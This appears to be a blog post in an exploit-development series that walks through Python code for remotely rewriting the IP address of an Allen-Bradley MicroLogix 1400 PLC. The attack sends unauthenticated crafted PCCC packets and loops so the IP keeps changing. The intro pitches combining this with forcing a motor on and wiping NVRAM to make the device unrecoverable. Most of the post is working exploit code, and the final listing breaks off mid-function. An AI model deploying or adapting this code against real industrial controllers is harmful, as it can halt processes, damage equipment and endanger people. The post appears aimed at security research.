In this Remotely Changing IP Address, we’re tackling a significant vulnerability in the PLC. This time, our focus is on the ability to Changing IP the Address by altering Channel Config.
Imagine having the power to not only control a PLC remotely but also to make it virtually untraceable. I’ve developed a method where I can change the IP address of a Micrologix 1400 PLC on the fly by sending a specially crafted packet.
Now, consider this: if we force a motor into an “on” state and then wipe out the PLC’s NVRAM memory, the device becomes almost impossible to recover.
Why? Because as the PLC’s IP address changes continuously, recovery attempts will fail, leaving the motor in a forced state and potentially causing catastrophic effects. This advanced exploit not only demonstrates remote control capabilities but also highlights a severe security vulnerability.
Curious about how this all works? Let’s dive into the details.
Objective
In this blog post, “Remotely Changing IP Address of PLC” we’ve got four key objectives:
- Identify the function and command codes, file numbers, and data types for IP address configuration.
- Develop a function to get the channel configuration.
- Create a function to modify the channel configuration.
- Implement a function to fix CRC checksum issues.
- create a function to sniff IP address hex code from response packet
- manipulating IP address
In this post, we will go though remotely change IP.
- Vulnerability Analysis: Overview of PLC systems and the specific vulnerability related to Unauthorized Access.
- Exploit Development: Developing a Python script to exploit this vulnerability
- Real-World Application: Showcasing the exploit on actual PLC hardware and exploring the real-world consequences.
- Hack-the-Box PoC: Wrapping up with a Hack-the-Box style proof of concept (PoC).
In our PLC setup, we’re dealing with MicroLogix 1400. For context, other channel config modification are thoroughly explored in Exploit Development # 9 : and Exploit Development # 10
By the end of this post, you’ll have a solid understanding of how to develop, test, and analyze a PLC exploit, enriched with practical insights and hands-on experience
MicroLogix 1400 PLC: Device under test (DUT)
The MicroLogix 1400 PLC by Rockwell Automation’s Allen-Bradley is vital in many industries. Disruptions to its operation or configuration can lead to severe consequences, including halting critical processes and causing significant equipment damage.
Identified Vulnerability: Remote Network channel Config Bypass
This vulnerability is all about access control, specifically in how the PLC handles permissions for data, program, and function files. Basically, an attacker can send a specially crafted packet that triggers either a read or write operation.
This can lead to a bunch of issues like leaking sensitive information, changing settings, or even modifying the ladder logic itself. The best part? They don’t even need to be authenticated to exploit this flaw.
key functions used for managing channel configurations in the Allen-Bradley MicroLogix 1400 PLC. The
get_channel_config() function retrieves current settings, whilemodify_channel_config() updates these settings by altering protocol control bytes and recalculating CRC checksums. Finally, the script sends the modified configuration to the PLC for IP address alteration.All they need to do is send the right packet. And just to show you how it works,
CMD:
0x0F– PCCC command codeFNC:
0xA2 – to read channel configBYTE_SIZE: it decide how many byte data to be read
FILE TYPE & File Number:
This will decide that which register is going to be selected. please refer: phase 4 : DPI
File type File number File name 0x49 0x01 Channel Configuration File ELEMENT_NO & SUB_ELEMENT_NO::
0x00we are selecting base register based on file number & file type.
- IP Address Modification:
- IP address into 4 octets.
- Reorder octets
- Convert each octet to a padded hex.
- Configuration Data Update:
- Insert reordered IP into configuration data.
- CRC handling:
- Recalculate and insert CRC for data integrity.
- Modified Data Packet :
- Split configuration data and convert to binary.
- Constructing Modified Commands:
- Create commands with the modified data, including byte size, file number, and payloads.
for more info – refer to user manual
Confused? 🤔 Check Out These Phases for a Step-by-Step Guide!
Feeling a bit lost in the technical jungle? Don’t worry! If you find yourself tangled in the weeds of this phase, just take a detour and revisit our previous adventures:
- Phase 1: Basic Network Discovery – – – – – – – – – –> [Explore Phase 1 ]
- Phase 2: MITM Attack and Protocol Packet captuing – – – –> [Explore Phase 2 ]
- Phase 3: Packet Communication Protocol Analysis – – – – – – – – –> [Explore Phase 3 ]
- Phase 4: Deep Packet Inspection (DPI) – – – – – – – – – – – – –> [Explore Phase 4 ]
- Phase 5: Exploit Development – – – – – – – – – – – – – – – – – – – – – – – –> [Explore Phase 5 ]
Exploit Development: Remotely Changing IP Address of PLC
Here’s a closer look at the Python script that powers our exploit. We’ll walk through its key components, so you know exactly what’s happening under the hood.
1. hexadecimal padding – pad_hex()
Purpose: Ensures that your hexadecimal string is the right size by padding it with leading zeros. Think of it as giving your hexadecimal string a well-fitted jacket!
Details: This function takes a hexadecimal string (hex_str) and ensures it matches the desired size (size) by padding it with zeros.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): # Remove "0x" if present if "0x" in hex_str: hex_str = hex_str.replace("0x", "") # Ensure hex_str has even length if len(hex_str) % 2 != 0: hex_str = "0" + hex_str # Pad with zeros if necessary hex_str = hex_str.zfill(size) return hex_str |
1.1 byte padding : pad_byte()
|
1 2 3 4 5 6 7 8 9 10 |
def pad_byte(byte_str): if len(byte_str) < 8: num_zeros = 8 - len(byte_str) padding = "0"*num_zeros byte_str = "%s%s" % (padding, byte_str) return byte_str |
1.2 hex splitting: split_hex()
The split_hex function takes a single hexadecimal string and divides it into a list of two-character substrings. This is often useful for handling raw binary data or converting a long hexadecimal string into more manageable chunks.
|
1 2 3 4 5 6 7 |
# takes a single hexadecimal string and divides it into a list of two-character substrings. def split_hex(hex_str): return list(map(''.join, zip(*[iter(hex_str)]*2))) |
2. Get CRC checksum : get_crc()
function computes the CRC16 checksum of a given raw instruction. It first cleans up the instruction by removing and replacing specific byte sequences. Then, it uses the crcmod library to calculate the CRC16 value. The computed CRC is formatted into a hexadecimal string and returned in a specific byte order.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
def get_crc(raw_instruction): instruction = "" if "\x10\x02" in raw_instruction: instruction = raw_instruction.replace("\x10\x02", "").strip().replace("\x10\x03", "\x03") else: instruction = raw_instruction if "\x10\x10" in instruction: instruction = instruction.replace("\x10\x10","\x10") crc16_func = crcmod.predefined.mkCrcFun('crc-16') computed_crc = pad_hex(hex(crc16_func(instruction)).split("0x")[1], 4) crc_value = "%s%s" % (computed_crc[2:4], computed_crc[0:2]) return crc_value |
3. Generation of Transaction Number : get_tns()
Purpose: Generates a unique transaction number for each command. It’s like giving your commands a unique name tag at a party—no confusion, just pure, unadulterated identity!
|
1 2 3 4 5 6 7 |
# Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) |
4. Response processing : parse_response ()
The parse_response function processes a binary response, checking its length and converting it to a hexadecimal string. It extracts the session handle and response data from the hex string. The response data is then converted to a list of ASCII characters, with non-printable characters replaced by underscores. The function returns a dictionary with the session handle, response data in hex format, and ASCII representation
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
def parse_response(response): if len(response) <= 8: clean_exit("error in response. exiting...") clean_response = {} response = binascii.hexlify(response) clean_response['session_handle'] = response[8:16] clean_response['resp_data'] = list(map(''.join, zip(*[iter(response[110:])]*2))) clean_response['ascii_resp_data'] = [] for item in clean_response['resp_data']: charcode = int(item, 16) if charcode > 32 and charcode < 127: clean_response['ascii_resp_data'].append(chr(charcode)) else: clean_response['ascii_resp_data'].append("_") return clean_response |
4. Create a Register session packet : Register_Session()
Purpose: Registers a session with the PLC, much like signing up for a new club. This function sends a registration command and retrieves a session handle.
Details: Constructs and sends a registration request to the PLC, then processes the response to get the session handle. This handle is essential for subsequent communication.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session #print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) |
Reference: Dive into [Explore Phase 4 🔍] for a detailed walkthrough of session registration and its importance in setting up your attack vector.
5. Build an ENIP packet : Build_Ethernet_instruction()
Purpose: Crafts the Ethernet instruction payload for the PLC. Think of this as assembling the perfect care package for your PLC—everything it needs in one neat little box.
Details: Builds a complete payload for sending instructions to the PLC, including encapsulation headers and PCCC command data. This function ensures the message is formatted correctly and includes all necessary information.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
# Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload |
Reference: For a full breakdown of how to assemble these payloads, check out [Explore Phase 4 🔍]. It’s where we dissect and understand the intricacies of packet construction.
6. Create a Function to send Packets: send_instruction()
Purpose: Sends an instruction to the PLC and waits for a response. This is your direct line to the PLC, like making a call and eagerly waiting for the answer.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) #print ('\n\n' + '-' * 100) + ("\n\nComplete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '-' * 150) #time.sleep(3) return return_response |
7. retrive channel config : get_channel_config ()
The get_channel_config function retrieves and parses the channel configuration from a PLC. It sends two read (fnc = 0xa2) commands to the PLC using the provided session handle, collects and combines their responses.
The function then extracts various configuration details from the combined response, such as IP address, netmask, gateway, domain name, and DNS servers.
It also retrieves the protocol control byte. The function returns a dictionary containing these configuration details.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
def get_channel_config(session_handle): channel_config_1 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x00"} channel_config_2 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x28"} channel_config_resp = parse_response(send_instruction(channel_config_1, session_handle))['resp_data'] channel_config_resp += parse_response(send_instruction(channel_config_2, session_handle))['resp_data'] channel_config= {} channel_config['full'] = channel_config_resp channel_config['ip_addr'] = channel_config_resp[38:42] # Desired order order = [1, 0, 3, 2] # Convert and print the reordered IP address in one line print( '\n\n' + '-' * 100 + "\n\n Getting hex value of IP from PLC: {}".format(channel_config['ip_addr']) + "\n\n Reordering Current IP: " + ".".join(str(int(channel_config['ip_addr'][i], 16)) for i in order) + '\n\n' + '-' * 100 ) channel_config['netmask'] = channel_config_resp[42:46] channel_config['gateway'] = channel_config_resp[46:50] channel_config['domain_name_mystery'] = channel_config_resp[50:54] channel_config['primary_dns'] = channel_config_resp[54:58] channel_config['secondary_dns'] = channel_config_resp[58:62] channel_config['protocol_control_byte'] = channel_config_resp[127] return channel_config |
8. Modify channel config – modify_channel_config()
This function modifies a specific part of the PLC’s channel configuration. Here’s the breakdown:
- Prepare IP Address for Modification:
mod_elementis expected to be an IP address. It is split into octets and reordered.- Each octet is converted to a hexadecimal string and padded to ensure correct formatting.
- Update Configuration Data:
- The reordered IP address is inserted into the configuration data at the specified index.
- Calculate and Update CRC:
- CRC (Cyclic Redundancy Check) is recalculated based on the updated configuration data to ensure data integrity.
- The CRC values are inserted into the configuration data at the designated index.
- Prepare Modified Data Packets:
- The configuration data is split into two parts based on
packet_split_index. - These parts are converted from hex to binary.
- The configuration data is split into two parts based on
- Construct Modified Configuration Commands:
- Two modified configuration commands are created using
channel_config_headerand the modified data. - Each command includes the byte size, file number, file type, element numbers, and the respective data payloads.
- Two modified configuration commands are created using
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
def modify_channel_config(new_ip_addr, channel_config, channel_config_header): ip_addr_index = 38 crc_index = 134 packet_split_index = 80 working_index = ip_addr_index addr = new_ip_addr.split(".") reordered_addr = [] reordered_addr.append(addr[1]) reordered_addr.append(addr[0]) reordered_addr.append(addr[3]) reordered_addr.append(addr[2]) for i in range(0, len(reordered_addr)): reordered_addr[i] = pad_hex(hex(int(reordered_addr[i],10)), 2) channel_config['full'][working_index:working_index+4] = reordered_addr if working_index == "": clean_exit() crc = get_crc(binascii.unhexlify("".join(channel_config['full'][:crc_index]))) crc = list(map(''.join, zip(*[iter(crc)]*2))) channel_config['full'][crc_index] = crc[0] channel_config['full'][crc_index+1] = crc[1] payload = {} payload['first'] = binascii.unhexlify("".join(channel_config['full'][:packet_split_index])) payload['second'] = binascii.unhexlify("".join(channel_config['full'][packet_split_index:packet_split_index*2])) modified_channel_config_data_1 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number1'], payload['first']) modified_channel_config_data_2 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number2'], payload['second']) modified_channel_config = [] modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_1}) modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_2}) return modified_channel_config |
8. Function to send Program routine packet : program_register()
Purpose: Programs the PLC by sending a series of instructions to change CPU modes, execute commands, and more. It’s like performing a detailed operation—one step at a time—to ensure everything is set up correctly.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
# Programs the PLC by sending a series of instructions to change CPU mode, execute commands, get edit resources, and more. def program_register(register_data_array,session_handle): Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} # function code 0x80 is responsible to change CPU mode. data 0x01 is to change [Remote RUN -> Remote Prog] Execute_multiple_command = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\xf8\xa1\x01\x56"} # function 0x88 means Execute multiple command Get_edit_resource = {"cmd":"\x0f","fnc":"\x11","data":""} # Function code 0x11 to Get the edit resource of PLC Download_completed = {"cmd":"\x0f","fnc":"\x52","data":""} # Function code 0x52 tell the PLC that data downloanload completed. Apply_port_config = {"cmd":"\x0f","fnc":"\x8f","data":"\x00\x00\x00"} # Function code 0x8f for Applying port configuration Return_edit_resource = {"cmd":"\x0f","fnc":"\x12","data":""} # Function code 0x12 is used to return the edit resource. if not isinstance(register_data_array, list): register_data_array = [register_data_array] # Send instructions to the PLC #print "\n\nChanging PLC CPU to RUN mode :" send_instruction(Change_CPU_mode, session_handle) # Changing CPU to REMOTE PROG #print "\n\nExecuting multiple command :" send_instruction(Execute_multiple_command, session_handle) # Executing Multiple commands and PLC in Download mode #print "\n\n Geting edit resourceof PLC :" send_instruction(Get_edit_resource, session_handle) # Getting Edit resource of PLC for packet in register_data_array: split_hex(binascii.hexlify(send_instruction(packet, session_handle))[102:]) #print "\n\nSending Download completed response:" send_instruction(Download_completed, session_handle) # Download complete packet #print "\n\nApplying port config :" send_instruction(Apply_port_config, session_handle) # Applying Port Configuration #print "\n\nReturning edit resource of PLC:" send_instruction(Return_edit_resource, session_handle) # Returning Edit resouces after Download completed |
9. Setting Up the Connection
|
1 2 3 4 5 6 7 8 9 10 11 |
dst = '192.168.0.102' port = 44818 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((dst, port)) session_handle = Register_Session() |
- PLC: This variable holds the IP address of the PLC
'192.168.0.102' - PORT: Port
44818is commonly used for EtherNet/IP ML1400 PLC communication, but it might vary based on your PLC configuration. - socket.socket: Creates a new socket object using IPv4 addressing (
AF_INET) and TCP (SOCK_STREAM) to establish a connection with the PLC. - sock.connect: Connects to the PLC using the IP address and port specified. This action establishes a communication channel between your script and the PLC.
9. main function routine : functions specific to IP manipulation
Retrieve & modify Channel Configuration
Set New IP Address: new IP address for the PLC.
Retrieve Channel Configuration: Calls get_channel_config(session_handle) to get the current channel configuration.
Define Channel Configuration Header: Specifies the header values needed for modifying the channel configuration.
Modify Channel Configuration: Uses modify_channel_config(mod_element, channel_config, channel_config_header) to update the channel configuration.
Program the PLC: Sends the modified configuration to the PLC using program_register(channel_config, session_handle).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
while True: # Generate a new IP address new_ip_addr = '192.168.0.{0}'.format(random.randint(103, 150)) # Create and connect the socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((current_ip, port)) # Register session session_handle = Register_Session() # Get and modify channel config channel_config = get_channel_config(session_handle) channel_config_header = { "byte_size": "\x50", "file_number": "\x01", "file_type": "\x49", "element_number": "\x00", "sub_element_number1": "\x00", "sub_element_number2": "\x28" } channel_config = modify_channel_config(new_ip_addr, channel_config, channel_config_header) print "\n\n Changing Current IP address {0} to new IP address {1}".format(current_ip, new_ip_addr) program_register(channel_config, session_handle) print "\n\n IP address successfully changed" # Update current_ip to new_ip_addr for the next round current_ip = new_ip_addr time.sleep(5) # Adjust the delay as needed |
Python POC for Malicious Payloads: Remotely Changing IP Address of PLC
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 |
import socket import binascii import random import time import crcmod.predefined # Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): # Remove "0x" if present if "0x" in hex_str: hex_str = hex_str.replace("0x", "") # Ensure hex_str has even length if len(hex_str) % 2 != 0: hex_str = "0" + hex_str # Pad with zeros if necessary hex_str = hex_str.zfill(size) return hex_str def pad_byte(byte_str): if len(byte_str) < 8: num_zeros = 8 - len(byte_str) padding = "0"*num_zeros byte_str = "%s%s" % (padding, byte_str) return byte_str # takes a single hexadecimal string and divides it into a list of two-character substrings. def split_hex(hex_str): return list(map(''.join, zip(*[iter(hex_str)]*2))) def get_crc(raw_instruction): instruction = "" if "\x10\x02" in raw_instruction: instruction = raw_instruction.replace("\x10\x02", "").strip().replace("\x10\x03", "\x03") else: instruction = raw_instruction if "\x10\x10" in instruction: instruction = instruction.replace("\x10\x10","\x10") crc16_func = crcmod.predefined.mkCrcFun('crc-16') computed_crc = pad_hex(hex(crc16_func(instruction)).split("0x")[1], 4) crc_value = "%s%s" % (computed_crc[2:4], computed_crc[0:2]) return crc_value # Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) def parse_response(response): if len(response) <= 8: clean_exit("error in response. exiting...") clean_response = {} response = binascii.hexlify(response) clean_response['session_handle'] = response[8:16] clean_response['resp_data'] = list(map(''.join, zip(*[iter(response[110:])]*2))) clean_response['ascii_resp_data'] = [] for item in clean_response['resp_data']: charcode = int(item, 16) if charcode > 32 and charcode < 127: clean_response['ascii_resp_data'].append(chr(charcode)) else: clean_response['ascii_resp_data'].append("_") return clean_response # Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session #print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) # Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload # Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) #print ('\n\n' + '-' * 100) + ("\n\nComplete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '-' * 150) #time.sleep(3) return return_response def get_channel_config(session_handle): channel_config_1 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x00"} channel_config_2 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x28"} channel_config_resp = parse_response(send_instruction(channel_config_1, session_handle))['resp_data'] channel_config_resp += parse_response(send_instruction(channel_config_2, session_handle))['resp_data'] channel_config= {} channel_config['full'] = channel_config_resp channel_config['ip_addr'] = channel_config_resp[38:42] # Desired order order = [1, 0, 3, 2] # Convert and print the reordered IP address in one line print( '\n\n' + '-' * 100 + "\n\n Getting hex value of IP from PLC: {}".format(channel_config['ip_addr']) + "\n\n Reordering Current IP: " + ".".join(str(int(channel_config['ip_addr'][i], 16)) for i in order) + '\n\n' + '-' * 100 ) channel_config['netmask'] = channel_config_resp[42:46] channel_config['gateway'] = channel_config_resp[46:50] channel_config['domain_name_mystery'] = channel_config_resp[50:54] channel_config['primary_dns'] = channel_config_resp[54:58] channel_config['secondary_dns'] = channel_config_resp[58:62] channel_config['protocol_control_byte'] = channel_config_resp[127] return channel_config def modify_channel_config(new_ip_addr, channel_config, channel_config_header): ip_addr_index = 38 crc_index = 134 packet_split_index = 80 working_index = ip_addr_index addr = new_ip_addr.split(".") reordered_addr = [] reordered_addr.append(addr[1]) reordered_addr.append(addr[0]) reordered_addr.append(addr[3]) reordered_addr.append(addr[2]) for i in range(0, len(reordered_addr)): reordered_addr[i] = pad_hex(hex(int(reordered_addr[i],10)), 2) channel_config['full'][working_index:working_index+4] = reordered_addr if working_index == "": clean_exit() crc = get_crc(binascii.unhexlify("".join(channel_config['full'][:crc_index]))) crc = list(map(''.join, zip(*[iter(crc)]*2))) channel_config['full'][crc_index] = crc[0] channel_config['full'][crc_index+1] = crc[1] payload = {} payload['first'] = binascii.unhexlify("".join(channel_config['full'][:packet_split_index])) payload['second'] = binascii.unhexlify("".join(channel_config['full'][packet_split_index:packet_split_index*2])) modified_channel_config_data_1 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number1'], payload['first']) modified_channel_config_data_2 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number2'], payload['second']) modified_channel_config = [] modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_1}) modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_2}) return modified_channel_config # Programs the PLC by sending a series of instructions to change CPU mode, execute commands, get edit resources, and more. def program_register(register_data_array,session_handle): Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} # function code 0x80 is responsible to change CPU mode. data 0x01 is to change [Remote RUN -> Remote Prog] Execute_multiple_command = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\xf8\xa1\x01\x56"} # function 0x88 means Execute multiple command Get_edit_resource = {"cmd":"\x0f","fnc":"\x11","data":""} # Function code 0x11 to Get the edit resource of PLC Download_completed = {"cmd":"\x0f","fnc":"\x52","data":""} # Function code 0x52 tell the PLC that data downloanload completed. Apply_port_config = {"cmd":"\x0f","fnc":"\x8f","data":"\x00\x00\x00"} # Function code 0x8f for Applying port configuration Return_edit_resource = {"cmd":"\x0f","fnc":"\x12","data":""} # Function code 0x12 is used to return the edit resource. if not isinstance(register_data_array, list): register_data_array = [register_data_array] # Send instructions to the PLC #print "\n\nChanging PLC CPU to RUN mode :" send_instruction(Change_CPU_mode, session_handle) # Changing CPU to REMOTE PROG #print "\n\nExecuting multiple command :" send_instruction(Execute_multiple_command, session_handle) # Executing Multiple commands and PLC in Download mode #print "\n\n Geting edit resourceof PLC :" send_instruction(Get_edit_resource, session_handle) # Getting Edit resource of PLC for packet in register_data_array: split_hex(binascii.hexlify(send_instruction(packet, session_handle))[102:]) #print "\n\nSending Download completed response:" send_instruction(Download_completed, session_handle) # Download complete packet #print "\n\nApplying port config :" send_instruction(Apply_port_config, session_handle) # Applying Port Configuration #print "\n\nReturning edit resource of PLC:" 